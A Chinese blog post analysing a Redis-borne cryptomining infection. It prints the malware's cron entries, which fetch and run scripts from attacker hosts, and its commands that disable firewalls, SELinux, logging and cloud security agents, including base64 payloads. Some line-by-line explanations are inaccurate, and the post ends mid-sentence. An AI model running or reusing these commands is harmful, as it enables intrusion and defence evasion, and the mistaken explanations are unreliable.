惊出一身冷汗:Redis侵入的挖矿病毒到底在服务器里植入了什么?
- 2023-10-04 20:00:00
- pjd
- 原创 407
一、进入容器
要进入已经运行的 Redis 容器,您可以使用docker exec命令。以下是一些示例:
以交互式方式进入 Redis 容器:
docker exec -it ruoyi-redis bash
在上述命令中,ruoyi-redis是 Redis 容器的名称。如果您使用的是容器 ID,可以将容器 ID 替换为容器名称。
在 Redis 容器内运行单个命令:
docker exec -it ruoyi-redis redis-cli <command>
在上述命令中,<command>是您要在容器内运行的 Redis 命令。您可以将其替换为您实际想要运行的 Redis 命令。
请注意,使用docker exec进入容器需要容器处于运行状态。如果 Redis 容器已停止,则需要先启动它才能进入其中。
二、获取redis中的值
要获取 Redis 中所有的 Key 和对应的 Value,可以使用SCAN和GET命令来遍历整个 Redis 数据库。以下是一种常见的方法:
获取所有的 Key:
# 进入 Redis 客户端 redis-cli # 执行 SCAN 命令循环遍历所有 Key SCAN 0
这将返回一个游标(cursor)和一批匹配的 Key 列表。如果数据库中的 Key 较多,您可能需要多次执行 SCAN 命令,直到游标为零。
对于每个找到的 Key,获取对应的 Value:
# 根据实际获取到的 Key 列表,依次执行 GET 命令获取对应的 Value GET key1 GET key2 ...
您可以根据实际的 Key 列表,依次执行 GET 命令来获取每个 Key 对应的 Value。请将key1、key2等替换为实际的 Key 名称。
如果数据集很大,遍历整个 Redis 数据库可能会导致性能问题,并且可能会影响 Redis 的正常运行。因此,在操作之前,请谨慎考虑数据量的大小和对性能的影响。另外,如果您使用的是 Redis Cluster 或者有多个 Redis 分片,您需要对每个分片执行相同的操作来获取完整的键值对列表。
三、发现病毒
# 示例如下: 127.0.0.1:6379> scan 0 1) "0" 2) 1) "backup2" 2) "backup1" 3) "backup4" 4) "backup3" 127.0.0.1:6379> get 0 (nil) 127.0.0.1:6379> get backup1 "\n\n\n*/2 * * * * root cd1 -fsSL http://45.83.123.29/cleanfda/init.sh | sh\n\n" 127.0.0.1:6379> get backup2 "\n\n\n*/3 * * * * root wget -q -O- http://45.83.123.29/cleanfda/init.sh | sh\n\n" 127.0.0.1:6379> get backup3 "\n\n\n*/4 * * * * root curl -fsSL http://en2an.top/cleanfda/init.sh | sh\n\n" 127.0.0.1:6379> get backup4 "\n\n\n*/5 * * * * root wd1 -q -O- http://en2an.top/cleanfda/init.sh | sh\n\n" 127.0.0.1:6379> exit
四、删除这些异常信息
要销毁 Redis 中的一个 Key,您可以使用DEL命令。以下是如何使用DEL命令来删除 Key 的示例:
# 进入 Redis 客户端 redis-cli
# 使用 DEL 命令删除指定的 Key DEL key1
在上述示例中,将key1替换为您要删除的实际 Key 名称,然后执行DEL命令即可将该 Key 从 Redis 中移除。
请注意,删除 Key 是永久性的操作,一旦删除无法恢复,因此在执行DEL命令之前,请确保您真正想要删除该 Key,并且已经备份或不再需要相关数据。
此外,DEL命令也支持一次删除多个 Key,您可以在命令中指定多个 Key 名称,如下所示:
DEL key1 key2 key3
这样可以同时删除多个 Key。
五、本地windows电脑更改redis密码
在 Windows 电脑上更改 Redis 的密码,可以按照以下步骤进行操作:
打开 Redis 配置文件:找到 Redis 的安装目录,在该目录中找到redis.windows.conf文件。
使用文本编辑器(如 Notepad++、Visual Studio Code 等)打开redis.windows.conf文件。
在文件中查找并修改以下行:
# requirepass foobared
去掉上述行的注释符#,并将foobared替换为您想要设置的密码。例如,将其修改为:
requirepass yourpassword
请确保您选择的密码足够强大和安全。
保存并关闭配置文件。
重启 Redis:通过点击 Redis 安装目录下的redis-server.exe文件,重新启动 Redis 服务。
现在,Redis 已经成功设置了密码。在此之后,每次连接 Redis 时都需要提供正确的密码才能进行操作。
您可以使用 Redis 客户端如 Redis Desktop Manager 或命令行工具如redis-cli来连接 Redis,并在连接时提供设置的密码以验证身份。
六、Linux中更改密码后进入Redis
在设置了密码之后,您需要通过redis-cli进入 Redis,并在连接时提供正确的密码。请按照以下步骤进行操作:
1、进入容器中:
docker exec -it ruoyi-redis /bin/bash
2、输入以下命令来连接 Redis:
redis-cli -h localhost -p 6379 -a yourpassword
其中,-h表示主机名(这里使用本地主机),-p表示 Redis 服务器的端口号(默认为 6379),-a表示密码选项,后跟您设置的实际密码。
请确保将yourpassword替换为您设置的实际密码。
3、按下 Enter 键执行命令。如果密码正确,redis-cli将成功连接到 Redis 服务器,并显示一个类似于127.0.0.1:6379>的提示符,表示您已进入 Redis 命令行界面。现在,您可以在命令行中执行 Redis 命令来与 Redis 进行交互。
如果密码不正确,redis-cli将显示一个错误消息。请确保提供的密码与您在配置文件中设置的密码完全匹配。
请注意,为了安全起见,请确保不要在公共计算机或与他人共享的计算机上使用明文方式输入密码,以避免密码泄露的风险。
七、看看这个病毒到底干了什么事?
#!/bin/sh ulimit -n 65535:将打开文件描述符的最大数量设置为 65535。 chmod 777 /usr/bin/chattr:授予 /usr/bin/chattr 工具执行权限。 chmod 777 /bin/chattr:授予 /bin/chattr 工具执行权限。 chattr -iua /tmp/:去除 /tmp/ 目录下文件的不可变属性。 chattr -iua /var/tmp/:去除 /var/tmp/ 目录下文件的不可变属性。 iptables -F:清空所有的防火墙规则。 ufw disable:禁用 Ubuntu 防火墙。 echo '0' >/proc/sys/kernel/nmi_watchdog:将 NMI 监视器在内核中的状态设置为禁用。 echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf:将 NMI 监视器设置为永久禁用。 chattr -iae /root/.ssh/:设置 /root/.ssh/ 目录的文件为不可修改、增加和删除。 chattr -iae /root/.ssh/authorized_keys:设置 /root/.ssh/authorized_keys 文件为不可修改、增加和删除。 chattr -iua /tmp/:去除 /tmp/ 目录下文件的不可变和追加属性。 chattr -iua /var/tmp/:去除 /var/tmp/ 目录下文件的不可变和追加属性。 rm -rf /tmp/addres*:删除 /tmp/ 目录下所有以 addres 开头的文件或目录。 rm -rf /tmp/walle*:删除 /tmp/ 目录下所有以 walle 开头的文件或目录。 rm -rf /tmp/keys:删除 /tmp/ 目录下名为 keys 的文件或目录。 rm -rf /var/log/syslog:删除系统日志文件。 setenforce 0 2>dev/null:禁用 SELinux 安全模块。 echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null:将 SELinux 安全模块永久禁用。 sync && echo 3 >/proc/sys/vm/drop_caches:释放缓存,包括页缓存、目录和 inode 缓存等。
crondir='/var/spool/cron/'"$USER":将 crondir 变量设置为当前用户的 crontab 文件所在路径。 cont=cat ${crondir}:读取 crontab 文件的内容,并将结果保存在cont` 变量中。 ssht=cat /root/.ssh/authorized_keys:读取/root/.ssh/authorized_keys文件的内容,并将结果保存在ssht` 变量中。 echo 1 > /etc/zzhs:将数字 1 写入 /etc/zzhs 文件。 rtdir="/etc/zzhs":将 rtdir 变量设置为 /etc/zzhs 的路径。 bbdir="/usr/bin/curl":将 bbdir 变量设置为 /usr/bin/curl 的路径。 bbdira="/usr/bin/cd1":将 bbdira 变量设置为 /usr/bin/cd1 的路径。 ccdir="/usr/bin/wget":将 ccdir 变量设置为 /usr/bin/wget 的路径。 ccdira="/usr/bin/wd1":将 ccdira 变量设置为 /usr/bin/wd1 的路径。
mv /usr/bin/wgettnt /usr/bin/wd1:将 /usr/bin/wgettnt 文件移动到 /usr/bin/wd1 目录下。 mv /usr/bin/curltnt /usr/bin/cd1:将 /usr/bin/curltnt 文件移动到 /usr/bin/cd1 目录下。 mv /usr/bin/wget1 /usr/bin/wd1:将 /usr/bin/wget1 文件移动到 /usr/bin/wd1 目录下。 mv /usr/bin/curl1 /usr/bin/cd1:将 /usr/bin/curl1 文件移动到 /usr/bin/cd1 目录下。 mv /usr/bin/cur /usr/bin/cd1:将 /usr/bin/cur 文件移动到 /usr/bin/cd1 目录下。 mv /usr/bin/cdl /usr/bin/cd1:将 /usr/bin/cdl 文件移动到 /usr/bin/cd1 目录下。 mv /usr/bin/cdt /usr/bin/cd1:将 /usr/bin/cdt 文件移动到 /usr/bin/cd1 目录下。 mv /usr/bin/xget /usr/bin/wd1:将 /usr/bin/xget 文件移动到 /usr/bin/wd1 目录下。 mv /usr/bin/wge /usr/bin/wd1:将 /usr/bin/wge 文件移动到 /usr/bin/wd1 目录下。 mv /usr/bin/wdl /usr/bin/wd1:将 /usr/bin/wdl 文件移动到 /usr/bin/wd1 目录下。 mv /usr/bin/wdt /usr/bin/wd1:将 /usr/bin/wdt 文件移动到 /usr/bin/wd1 目录下。 mv /usr/bin/wget /usr/bin/wd1:将 /usr/bin/wget 文件移动到 /usr/bin/wd1 目录下。 mv /usr/bin/curl /usr/bin/cd1:将 /usr/bin/curl 文件移动到 /usr/bin/cd1 目录下。
if ps aux | grep -i '[a]liyun'; then: 这一行通过执行ps aux命令获取当前运行的进程列表,并使用grep命令查找包含 "[a]liyun" 字符串的进程。如果找到匹配项,则进入下一步操作。 $bbdir http://update.aegis.aliyun.com/download/uninstall.sh | bash: 这一行使用$bbdir命令(可能是脚本中定义的自定义命令)下载并执行 " http://update.aegis.aliyun.com/download/uninsta ll.sh " 脚本。该脚本可能是用于删除阿里云安全Agent的卸载脚本。 $bbdir http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash: 这一行使用$bbdir命令下载并执行 " http://u pdate.aegis.aliyun.com/download/quartz_uninstall.sh " 脚本。 $bbdira http://update.aegis.aliyun.com/download/uninstall.sh | bash: 这一行使用$bbdira命令下载并执行 " http://update.aegis.aliyun.com/download/uninstall .sh " 脚本。 $bbdira http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash: 这一行使用$bbdira命令下载并执行 " http://update.aegis.aliyun.com/download/quartz_uninst all.sh " 脚本。
echo 'IyEvYmluL2Jhc2gKCkFFR0lTX0lOU1RBTExfRElSPSIvdXNyL2xvY2FsL2FlZ2lzIgojY2hlY2sgbGludXggR2VudG9vIG9zIAp2YXI9YGxzYl9yZWxlYXNlIC1hIHwgZ3JlcCBHZW50b29gCmlmIFsgLXogIiR7dmFyfSIgXTsgdGhlbiAKCXZhcj1gY2F0IC9ldGMvaXNzdWUgfCBncmVwIEdlbnRvb2AKZmkKY2hlY2tDb3Jlb3M9YGNhdCAvZXRjL29zLXJlbGVhc2UgMj4vZGV2L251bGwgfCBncmVwIGNvcmVvc2AKaWYgWyAtZCAiL2V0Yy9ydW5sZXZlbHMvZGVmYXVsdCIgLWEgLW4gIiR7dmFyfSIgXTsgdGhlbgoJTElOVVhfUkVMRUFTRT0iR0VOVE9PIgplbGlmIFsgLWYgIi9ldGMvb3MtcmVsZWFzZSIgLWEgLW4gIiR7Y2hlY2tDb3Jlb3N9IiBdOyB0aGVuCglMSU5VWF9SRUxFQVNFPSJDT1JFT1MiCglBRUdJU19JTlNUQUxMX0RJUj0iL29wdC9hZWdpcyIKZWxzZSAKCUxJTlVYX1JFTEVBU0U9Ik9USEVSIgpmaQkJCgpzdG9wX2FlZ2lzX3BraWxsKCl7CiAgICBwa2lsbCAtOSBBbGlZdW5EdW4gPi9kZXYvbnVsbCAyPiYxCiAgICBwa2lsbCAtOSBBbGlIaWRzID4vZGV2L251bGwgMj4mMQogICAgcGtpbGwgLTkgQWxpSGlwcyA+L2Rldi9udWxsIDI+JjEKICAgIHBraWxsIC05IEFsaU5ldCA+L2Rldi9udWxsIDI+JjEKICAgIHBraWxsIC05IEFsaVNlY0d1YXJkID4vZGV2L251bGwgMj4mMQogICAgcGtpbGwgLTkgQWxpWXVuRHVuVXBkYXRlID4vZGV2L251bGwgMj4mMQogICAgCiAgICAvdXNyL2xvY2FsL2FlZ2lzL0FsaU5ldC9BbGlOZXQgLS1zdG9wZHJpdmVyCiAgICAvdXNyL2xvY2FsL2FlZ2lzL2FsaWhpcHMvQWxpSGlwcyAtLXN0b3Bkcml2ZXIKICAgIC91c3IvbG9jYWwvYWVnaXMvQWxpU2VjR3VhcmQvQWxpU2VjR3VhcmQgLS1zdG9wZHJpdmVyCiAgICBwcmludGYgIiUtNDBzICU0MHNcbiIgIlN0b3BwaW5nIGFlZ2lzIiAiWyAgT0sgIF0iCn0KCiMgY2FuIG5vdCByZW1vdmUgYWxsIGFlZ2lzIGZvbGRlciwgYmVjYXVzZSB0aGVyZSBpcyBiYWNrdXAgZmlsZSBpbiBnbG9iYWxjZmcKcmVtb3ZlX2FlZ2lzKCl7Cmtwcm9iZUFycj0oCiAgICAiL3N5cy9rZXJuZWwvZGVidWcvdHJhY2luZy9pbnN0YW5jZXMvYWVnaXNfZG9fc3lzX29wZW4vc2V0X2V2ZW50IgogICAgIi9zeXMva2VybmVsL2RlYnVnL3RyYWNpbmcvaW5zdGFuY2VzL2FlZ2lzX2luZXRfY3NrX2FjY2VwdC9zZXRfZXZlbnQiCiAgICAiL3N5cy9rZXJuZWwvZGVidWcvdHJhY2luZy9pbnN0YW5jZXMvYWVnaXNfdGNwX2Nvbm5lY3Qvc2V0X2V2ZW50IgogICAgIi9zeXMva2VybmVsL2RlYnVnL3RyYWNpbmcvaW5zdGFuY2VzL2FlZ2lzL3NldF9ldmVudCIKICAgICIvc3lzL2tlcm5lbC9kZWJ1Zy90cmFjaW5nL2luc3RhbmNlcy9hZWdpc18vc2V0X2V2ZW50IgogICAgIi9zeXMva2VybmVsL2RlYnVnL3RyYWNpbmcvaW5zdGFuY2VzL2FlZ2lzX2FjY2VwdC9zZXRfZXZlbnQiCiAgICAiL3N5cy9rZXJuZWwvZGVidWcvdHJhY2luZy9rcHJvYmVfZXZlbnRzIgogICAgIi91c3IvbG9jYWwvYWVnaXMvYWVnaXNfZGVidWcvdHJhY2luZy9zZXRfZXZlbnQiCiAgICAiL3Vzci9sb2NhbC9hZWdpcy9hZWdpc19kZWJ1Zy90cmFjaW5nL2twcm9iZV9ldmVudHMiCikKZm9yIHZhbHVlIGluICR7a3Byb2JlQXJyW0BdfQpkbwogICAgaWYgWyAtZiAiJHZhbHVlIiBdOyB0aGVuCiAgICAgICAgZWNobyA+ICR2YWx1ZQogICAgZmkKZG9uZQppZiBbIC1kICIke0FFR0lTX0lOU1RBTExfRElSfSIgXTt0aGVuCiAgICB1bW91bnQgJHtBRUdJU19JTlNUQUxMX0RJUn0vYWVnaXNfZGVidWcKICAgIGlmIFsgLWQgIiR7QUVHSVNfSU5TVEFMTF9ESVJ9L2Nncm91cC9jcHUiIF07dGhlbgogICAgICAgIHVtb3VudCAke0FFR0lTX0lOU1RBTExfRElSfS9jZ3JvdXAvY3B1CiAgICBmaQogICAgaWYgWyAtZCAiJHtBRUdJU19JTlNUQUxMX0RJUn0vY2dyb3VwIiBdO3RoZW4KICAgICAgICB1bW91bnQgJHtBRUdJU19JTlNUQUxMX0RJUn0vY2dyb3VwCiAgICBmaQogICAgcm0gLXJmICR7QUVHSVNfSU5TVEFMTF9ESVJ9L2FlZ2lzX2NsaWVudAogICAgcm0gLXJmICR7QUVHSVNfSU5TVEFMTF9ESVJ9L2FlZ2lzX3VwZGF0ZQoJcm0gLXJmICR7QUVHSVNfSU5TVEFMTF9ESVJ9L2FsaWhpZHMKICAgIHJtIC1yZiAke0FFR0lTX0lOU1RBTExfRElSfS9nbG9iYWxjZmcvZG9tYWluY2ZnLmluaQpmaQp9Cgp1bmluc3RhbGxfc2VydmljZSgpIHsKICAgCiAgIGlmIFsgLWYgIi9ldGMvaW5pdC5kL2FlZ2lzIiBdOyB0aGVuCgkJL2V0Yy9pbml0LmQvYWVnaXMgc3RvcCAgPi9kZXYvbnVsbCAyPiYxCgkJcm0gLWYgL2V0Yy9pbml0LmQvYWVnaXMgCiAgIGZpCgoJaWYgWyAkTElOVVhfUkVMRUFTRSA9ICJHRU5UT08iIF07IHRoZW4KCQlyYy11cGRhdGUgZGVsIGFlZ2lzIGRlZmF1bHQgMj4vZGV2L251bGwKCQlpZiBbIC1mICIvZXRjL3J1bmxldmVscy9kZWZhdWx0L2FlZ2lzIiBdOyB0aGVuCgkJCXJtIC1mICIvZXRjL3J1bmxldmVscy9kZWZhdWx0L2FlZ2lzIiA+L2Rldi9udWxsIDI+JjE7CgkJZmkKICAgIGVsaWYgWyAtZiAvZXRjL2luaXQuZC9hZWdpcyBdOyB0aGVuCiAgICAgICAgIC9ldGMvaW5pdC5kL2FlZ2lzICB1bmluc3RhbGwKCSAgICBmb3IgKCh2YXI9MjsgdmFyPD01OyB2YXIrKykpIGRvCgkJCWlmIFsgLWQgIi9ldGMvcmMke3Zhcn0uZC8iIF07dGhlbgoJCQkJIHJtIC1mICIvZXRjL3JjJHt2YXJ9LmQvUzgwYWVnaXMiCgkJICAgIGVsaWYgWyAtZCAiL2V0Yy9yYy5kL3JjJHt2YXJ9LmQiIF07dGhlbgoJCQkJcm0gLWYgIi9ldGMvcmMuZC9yYyR7dmFyfS5kL1M4MGFlZ2lzIgoJCQlmaQoJCWRvbmUKICAgIGZpCgp9CgpzdG9wX2FlZ2lzX3BraWxsCnVuaW5zdGFsbF9zZXJ2aWNlCnJlbW92ZV9hZWdpcwp1bW91bnQgJHtBRUdJU19JTlNUQUxMX0RJUn0vYWVnaXNfZGVidWcKCgpwcmludGYgIiUtNDBzICU0MHNcbiIgIlVuaW5zdGFsbGluZyBhZWdpcyIgICJbICBPSyAgXSIKCgoK' | base64 -d | bash ##### 以上输出通过base64解码后是一段执行代码: #!/bin/bash AEGIS_INSTALL_DIR="/usr/local/aegis" #check linux Gentoo os var=`lsb_release -a | grep Gentoo` if [ -z "${var}" ]; then var=`cat /etc/issue | grep Gentoo` fi checkCoreos=`cat /etc/os-release 2>/dev/null | grep coreos` if [ -d "/etc/runlevels/default" -a -n "${var}" ]; then LINUX_RELEASE="GENTOO" elif [ -f "/etc/os-release" -a -n "${checkCoreos}" ]; then LINUX_RELEASE="COREOS" AEGIS_INSTALL_DIR="/opt/aegis" else LINUX_RELEASE="OTHER" fi stop_aegis_pkill(){ pkill -9 AliYunDun >/dev/null 2>&1 pkill -9 AliHids >/dev/null 2>&1 pkill -9 AliHips >/dev/null 2>&1 pkill -9 AliNet >/dev/null 2>&1 pkill -9 AliSecGuard >/dev/null 2>&1 pkill -9 AliYunDunUpdate >/dev/null 2>&1 /usr/local/aegis/AliNet/AliNet --stopdriver /usr/local/aegis/alihips/AliHips --stopdriver /usr/local/aegis/AliSecGuard/AliSecGuard --stopdriver printf "%-40s %40s\n" "Stopping aegis" "[ OK ]" } # can not remove all aegis folder, because there is backup file in globalcfg remove_aegis(){ kprobeArr=( "/sys/kernel/debug/tracing/instances/aegis_do_sys_open/set_event" "/sys/kernel/debug/tracing/instances/aegis_inet_csk_accept/set_event" "/sys/kernel/debug/tracing/instances/aegis_tcp_connect/set_event" "/sys/kernel/debug/tracing/instances/aegis/set_event" "/sys/kernel/debug/tracing/instances/aegis_/set_event" "/sys/kernel/debug/tracing/instances/aegis_accept/set_event" "/sys/kernel/debug/tracing/kprobe_events" "/usr/local/aegis/aegis_debug/tracing/set_event" "/usr/local/aegis/aegis_debug/tracing/kprobe_events" ) for value in ${kprobeArr[@]} do if [ -f "$value" ]; then echo > $value fi done if [ -d "${AEGIS_INSTALL_DIR}" ];then umount ${AEGIS_INSTALL_DIR}/aegis_debug if [ -d "${AEGIS_INSTALL_DIR}/cgroup/cpu" ];then umount ${AEGIS_INSTALL_DIR}/cgroup/cpu fi if [ -d "${AEGIS_INSTALL_DIR}/cgroup" ];then umount ${AEGIS_INSTALL_DIR}/cgroup fi rm -rf ${AEGIS_INSTALL_DIR}/aegis_client rm -rf ${AEGIS_INSTALL_DIR}/aegis_update rm -rf ${AEGIS_INSTALL_DIR}/alihids rm -rf ${AEGIS_INSTALL_DIR}/globalcfg/domaincfg.ini fi } uninstall_service() { if [ -f "/etc/init.d/aegis" ]; then /etc/init.d/aegis stop >/dev/null 2>&1 rm -f /etc/init.d/aegis fi if [ $LINUX_RELEASE = "GENTOO" ]; then rc-update del aegis default 2>/dev/null if [ -f "/etc/runlevels/default/aegis" ]; then rm -f "/etc/runlevels/default/aegis" >/dev/null 2>&1; fi elif [ -f /etc/init.d/aegis ]; then /etc/init.d/aegis uninstall for ((var=2; var<=5; var++)) do if [ -d "/etc/rc${var}.d/" ];then rm -f "/etc/rc${var}.d/S80aegis" elif [ -d "/etc/rc.d/rc${var}.d" ];then rm -f "/etc/rc.d/rc${var}.d/S80aegis" fi done fi } stop_aegis_pkill uninstall_service remove_aegis umount ${AEGIS_INSTALL_DIR}/aegis_debug printf "%-40s %40s\n" "Uninstalling aegis" "[ OK ]"##### 这段脚本是用于卸载Aegis安全软件的脚本。它首先检测操作系统类型,然后停止Aegis相关的进程和驱动程序,接着移除Aegis的文件和文件夹,并最后卸载Aegis服务。具体的步骤包括:
- 检测操作系统类型,判断是否为Gentoo或CoreOS系统。
- 停止Aegis相关的进程,使用pkill命令强制终止进程。
- 停止Aegis驱动程序,分别执行AliNet、AliHips和AliSecGuard的停止命令。
- 清除Aegis的调试配置,包括删除kprobe事件文件和调试目录的卸载。
- 如果Aegis安装目录存在,卸载相应的文件和文件夹,包括aegis_client、aegis_update和alihids等。
- 卸载Aegis服务,根据不同的操作系统类型执行对应的操作,包括删除启动项文件和相关的RC脚本。
最后打印"Uninstalling aegis [ OK ]"表示卸载成功。
echo 'IyEvYmluL2Jhc2gKCiNjaGVjayBsaW51eCBHZW50b28gb3MgCnZhcj1gbHNiX3JlbGVhc2UgLWEgfCBncmVwIEdlbnRvb2AKaWYgWyAteiAiJHt2YXJ9IiBdOyB0aGVuIAoJdmFyPWBjYXQgL2V0Yy9pc3N1ZSB8IGdyZXAgR2VudG9vYApmaQoKaWYgWyAtZCAiL2V0Yy9ydW5sZXZlbHMvZGVmYXVsdCIgLWEgLW4gIiR7dmFyfSIgXTsgdGhlbgoJTElOVVhfUkVMRUFTRT0iR0VOVE9PIgplbHNlCglMSU5VWF9SRUxFQVNFPSJPVEhFUiIKZmkKCnN0b3BfYWVnaXMoKXsKCWtpbGxhbGwgLTkgYWVnaXNfY2xpID4vZGV2L251bGwgMj4mMQoJa2lsbGFsbCAtOSBhZWdpc191cGRhdGUgPi9kZXYvbnVsbCAyPiYxCglraWxsYWxsIC05IGFlZ2lzX2NsaSA+L2Rldi9udWxsIDI+JjEKICAgIHByaW50ZiAiJS00MHMgJTQwc1xuIiAiU3RvcHBpbmcgYWVnaXMiICJbICBPSyAgXSIKfQoKc3RvcF9xdWFydHooKXsKCWtpbGxhbGwgLTkgYWVnaXNfcXVhcnR6ID4vZGV2L251bGwgMj4mMQogICAgICAgIHByaW50ZiAiJS00MHMgJTQwc1xuIiAiU3RvcHBpbmcgcXVhcnR6IiAiWyAgT0sgIF0iCn0KCnJlbW92ZV9hZWdpcygpewppZiBbIC1kIC91c3IvbG9jYWwvYWVnaXMgXTt0aGVuCiAgICBybSAtcmYgL3Vzci9sb2NhbC9hZWdpcy9hZWdpc19jbGllbnQKICAgIHJtIC1yZiAvdXNyL2xvY2FsL2FlZ2lzL2FlZ2lzX3VwZGF0ZQpmaQp9CgpyZW1vdmVfcXVhcnR6KCl7CmlmIFsgLWQgL3Vzci9sb2NhbC9hZWdpcyBdO3RoZW4KCXJtIC1yZiAvdXNyL2xvY2FsL2FlZ2lzL2FlZ2lzX3F1YXJ0egpmaQp9CgoKdW5pbnN0YWxsX3NlcnZpY2UoKSB7CiAgIAogICBpZiBbIC1mICIvZXRjL2luaXQuZC9hZWdpcyIgXTsgdGhlbgoJCS9ldGMvaW5pdC5kL2FlZ2lzIHN0b3AgID4vZGV2L251bGwgMj4mMQoJCXJtIC1mIC9ldGMvaW5pdC5kL2FlZ2lzIAogICBmaQoKCWlmIFsgJExJTlVYX1JFTEVBU0UgPSAiR0VOVE9PIiBdOyB0aGVuCgkJcmMtdXBkYXRlIGRlbCBhZWdpcyBkZWZhdWx0IDI+L2Rldi9udWxsCgkJaWYgWyAtZiAiL2V0Yy9ydW5sZXZlbHMvZGVmYXVsdC9hZWdpcyIgXTsgdGhlbgoJCQlybSAtZiAiL2V0Yy9ydW5sZXZlbHMvZGVmYXVsdC9hZWdpcyIgPi9kZXYvbnVsbCAyPiYxOwoJCWZpCiAgICBlbGlmIFsgLWYgL2V0Yy9pbml0LmQvYWVnaXMgXTsgdGhlbgogICAgICAgICAvZXRjL2luaXQuZC9hZWdpcyAgdW5pbnN0YWxsCgkgICAgZm9yICgodmFyPTI7IHZhcjw9NTsgdmFyKyspKSBkbwoJCQlpZiBbIC1kICIvZXRjL3JjJHt2YXJ9LmQvIiBdO3RoZW4KCQkJCSBybSAtZiAiL2V0Yy9yYyR7dmFyfS5kL1M4MGFlZ2lzIgoJCSAgICBlbGlmIFsgLWQgIi9ldGMvcmMuZC9yYyR7dmFyfS5kIiBdO3RoZW4KCQkJCXJtIC1mICIvZXRjL3JjLmQvcmMke3Zhcn0uZC9TODBhZWdpcyIKCQkJZmkKCQlkb25lCiAgICBmaQoKfQoKc3RvcF9hZWdpcwpzdG9wX3F1YXJ0egp1bmluc3RhbGxfc2VydmljZQpyZW1vdmVfYWVnaXMKcmVtb3ZlX3F1YXJ0egoKcHJpbnRmICIlLTQwcyAlNDBzXG4iICJVbmluc3RhbGxpbmcgYWVnaXNfcXVhcnR6IiAgIlsgIE9LICBdIgoKCgo=' | base64 -d | bash ####### 以上输出,是一段执行代码: #!/bin/bash #check linux Gentoo os var=`lsb_release -a | grep Gentoo` if [ -z "${var}" ]; then var=`cat /etc/issue | grep Gentoo` fi if [ -d "/etc/runlevels/default" -a -n "${var}" ]; then LINUX_RELEASE="GENTOO" else LINUX_RELEASE="OTHER" fi stop_aegis(){ killall -9 aegis_cli >/dev/null 2>&1 killall -9 aegis_update >/dev/null 2>&1 killall -9 aegis_cli >/dev/null 2>&1 printf "%-40s %40s\n" "Stopping aegis" "[ OK ]" } stop_quartz(){ killall -9 aegis_quartz >/dev/null 2>&1 printf "%-40s %40s\n" "Stopping quartz" "[ OK ]" } remove_aegis(){ if [ -d /usr/local/aegis ];then rm -rf /usr/local/aegis/aegis_client rm -rf /usr/local/aegis/aegis_update fi } remove_quartz(){ if [ -d /usr/local/aegis ];then rm -rf /usr/local/aegis/aegis_quartz fi } uninstall_service() { if [ -f "/etc/init.d/aegis" ]; then /etc/init.d/aegis stop >/dev/null 2>&1 rm -f /etc/init.d/aegis fi if [ $LINUX_RELEASE = "GENTOO" ]; then rc-update del aegis default 2>/dev/null if [ -f "/etc/runlevels/default/aegis" ]; then rm -f "/etc/runlevels/default/aegis" >/dev/null 2>&1; fi elif [ -f /etc/init.d/aegis ]; then /etc/init.d/aegis uninstall for ((var=2; var<=5; var++)) do if [ -d "/etc/rc${var}.d/" ];then rm -f "/etc/rc${var}.d/S80aegis" elif [ -d "/etc/rc.d/rc${var}.d" ];then rm -f "/etc/rc.d/rc${var}.d/S80aegis" fi done fi } stop_aegis stop_quartz uninstall_service remove_aegis remove_quartz printf "%-40s %40s\n" "Uninstalling aegis_quartz" "[ OK ]" ####### 含义如下: 这段脚本是用于卸载aegis和aegis_quartz安全软件的脚本。它通过检测操作系统类型,停止相关进程和服务,移除文件和文件夹来完成卸载。 具体步骤如下:
- 检测操作系统类型,判断是否为Gentoo系统。
- 停止aegis相关的进程,使用killall命令强制终止进程。
- 停止aegis_quartz进程,同样使用killall命令强制终止进程。
- 移除aegis安装目录中的aegis_client和aegis_update文件夹。
- 移除aegis_quartz安装目录中的aegis_quartz文件夹。
- 卸载aegis服务,包括删除启动项文件和相关的RC脚本。
- 最后打印"Uninstalling aegis_quartz [ OK ]"表示卸载成功。
这段代码是用于清理云主机可能存在的恶意挖矿程序和后门的 Shell 脚本。以下是对每行命令的功能进行解释: pkill aliyun-service: 结束名为 aliyun-service 的进程。 rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service: 删除 /etc/init.d/agentwatch 和 /usr/sbin/aliyun-service 文件。 rm -rf /usr/local/aegis*: 删除 /usr/local 目录下以 aegis 开头的文件(*代表通配符,匹配任意字符)。 systemctl stop aliyun.service: 停止 aliyun.service 服务。 systemctl disable aliyun.service: 禁用 aliyun.service 服务,使其不再自动启动。 service bcm-agent stop: 停止名为 bcm-agent 的服务。 yum remove bcm-agent -y 或 apt-get remove bcm-agent -y: 卸载名为 bcm-agent 的软件包(根据系统使用不同的包管理工具)。 以上部分是针对阿里云产品和腾讯云产品的清理操作。 elif ps aux | grep -i '[y]unjing'; then: 如果存在与 [y]unjing 相关的进程,则执行以下命令。 /usr/local/qcloud/stargate/admin/uninstall.sh: 执行 uninstall.sh 脚本,用于卸载腾讯云相关的安全产品。 /usr/local/qcloud/YunJing/uninst.sh: 执行 uninst.sh 脚本,用于卸载腾讯云云镜客户端。 /usr/local/qcloud/monitor/barad/admin/uninstall.sh: 执行 uninstall.sh 脚本,用于卸载腾讯云监控相关组件。 以上部分是针对腾讯云产品的清理操作。 if [ -f /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh ]; then: 如果文件 /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh 存在,则执行以下命令。 /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh stop && /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh remove && rm -rf /usr/local/cloudmonitor: 停止并移除云监控相关的进程,并删除 /usr/local/cloudmonitor 目录。 以上部分是针对云监控相关的清理操作。 else: 否则执行以下命令。 export ARCH=amd64: 设置环境变量 ARCH 的值为 amd64。 if [ -f /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} ]; then: 如果文件 /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} 存在,则执行以下命令。 /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} stop && /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} uninstall && rm -rf /usr/local/cloudmonitor: 停止并卸载云监控相关的进程,并删除 /usr/local/cloudmonitor 目录。 以上部分是根据系统架构(amd64)进行云监控相关的清理操作。 echo "ali cloud monitor not running": 